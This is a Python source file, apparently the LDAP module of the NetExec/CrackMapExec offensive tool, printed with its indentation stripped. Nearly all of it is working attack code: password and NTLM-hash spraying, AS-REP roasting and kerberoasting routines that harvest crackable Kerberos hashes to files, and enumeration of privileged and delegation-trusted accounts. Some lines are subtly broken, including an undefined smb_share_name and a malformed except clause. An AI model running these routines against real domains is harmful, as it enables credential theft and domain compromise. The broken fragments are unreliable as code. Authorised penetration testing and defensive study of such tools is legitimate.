NetExec/cme/protocols/ldap.py

612 lines
28 KiB
Python

# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
import requests
import logging
import configparser
from cme.connection import *
from cme.helpers.logger import highlight
from cme.logger import CMEAdapter
from cme.protocols.ldap.kerberos import KerberosAttacks
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS
from impacket.krb5.types import KerberosTime, Principal
from impacket.ldap import ldap as ldap_impacket
from impacket.krb5 import constants
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from io import StringIO
class ldap(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.os_arch = 0
self.hash = None
self.ldapConnection = None
self.lmhash = ''
self.nthash = ''
self.baseDN = ''
self.remote_ops = None
self.bootkey = None
self.output_filename = None
self.smbv1 = None
self.signing = False
self.smb_share_name = smb_share_name
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser('ldap', help="own stuff using ldap", parents=[std_parser, module_parser])
ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
dgroup = ldap_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat')
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'LDAP',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
})
def get_os_arch(self):
try:
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
transport = DCERPCTransportFactory(stringBinding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
except (DCERPCException, e):
if str(e).find('syntaxes_not_supported') >= 0:
dce.disconnect()
return 32
else:
dce.disconnect()
return 64
except Exception as e:
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
return 0
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login('' , '')
except:
#if "STATUS_ACCESS_DENIED" in e:
pass
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
if not self.domain:
self.domain = self.hostname
try:
'''plaintext_login
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
#Re-connect since we logged off
self.create_conn_obj()
def print_host_info(self):
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1))
def kerberos_login(self, aesKey, kdcHost):
# Create the baseDN
domainParts = self.domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
if self.kdcHost is not None:
target = self.kdcHost
else:
target = self.domain
try:
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
self.aesKey, kdcHost=self.kdcHost)
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
self.aesKey, kdcHost=self.kdcHost)
return True
def plaintext_login(self, domain, username, password):
self.username = username
self.password = password
self.domain = domain
# Create the baseDN
self.baseDN = ''
domainParts = self.domain.split('.')
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
if self.kdcHost is not None:
target = self.kdcHost
else:
target = domain
if self.password == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT:
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return False
# Connect to LDAP
out = u'{}{}:{}'.format('{}\\'.format(domain),
username,
password)
try:
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.success(out)
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
try:
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.success(out)
except ldap_impacket.LDAPSessionError as e:
self.logger.error(u'{}\{}:{}'.format(self.domain,
self.username,
self.password))
else:
self.logger.error(u'{}\{}:{}'.format(self.domain,
self.username,
self.password))
return False
return True
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
self.username = username
self.domain = domain
# Create the baseDN
self.baseDN = ''
domainParts = self.domain.split('.')
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
if self.kdcHost is not None:
target = self.kdcHost
else:
target = domain
if self.hash == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT:
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return False
# Connect to LDAP
out = u'{}{}:{}'.format('{}\\'.format(domain),
username,
nthash)
try:
self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.success(out)
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
try:
# We need to try SSL
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.logger.success(out)
except ldap_impacket.LDAPSessionError as e:
self.logger.error(u'{}\{}:{}'.format(self.domain,
self.username,
self.nthash))
else:
self.logger.error(u'{}\{}:{}'.format(self.domain,
self.username,
self.nthash))
return False
return True
def create_smbv1_conn(self):
try:
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
self.smbv1 = True
except socket.error as e:
if str(e).find('Connection reset by peer') != -1:
logging.debug('SMBv1 might be disabled on {}'.format(self.host))
return False
except Exception as e:
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
return False
return True
def create_smbv3_conn(self):
try:
self.conn = SMBConnection(self.host, self.host, None, 445)
self.smbv1 = False
except socket.error:
return False
except Exception as e:
logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
return False
return True
def create_conn_obj(self):
if self.create_smbv1_conn():
return True
elif self.create_smbv3_conn():
return True
return False
def getUnixTime(self, t):
t -= 116444736000000000
t /= 10000000
return t
def asreproast(self):
if self.password == '' and self.nthash == '' and self.kerberos == False:
return False
# Building the search filter
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = self.ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
logging.debug(e)
return False
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
for user in answers:
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return True
else:
self.logger.error("No entries found!")
def kerberoasting(self):
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
try:
resp = self.ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
return False
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
delegation = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
delegation = 'unconstrained'
elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = 'constrained'
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])
except Exception as e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
users = dict( (vals[1], vals[0]) for vals in answers)
TGT = KerberosAttacks(self).getTGT_kerberoasting()
for user, SPN in users.items():
try:
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain,
self.kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, user, SPN)
self.logger.highlight(u'{}'.format(r))
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
hash_kerberoasting.write(r + '\n')
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('SPN: %s - %s' % (SPN,str(e)))
else:
self.logger.error("No entries found!")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = self.ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
return False
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
logging.debug(answers)
for value in answers:
self.logger.highlight(value[0])
else:
self.logger.error("No entries found!")
return
def admin_count(self):
# Building the search filter
searchFilter = "(adminCount=1)"
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = self.ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
return False
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
logging.debug(answers)
for value in answers:
self.logger.highlight(value[0])
else:
self.logger.error("No entries found!")
return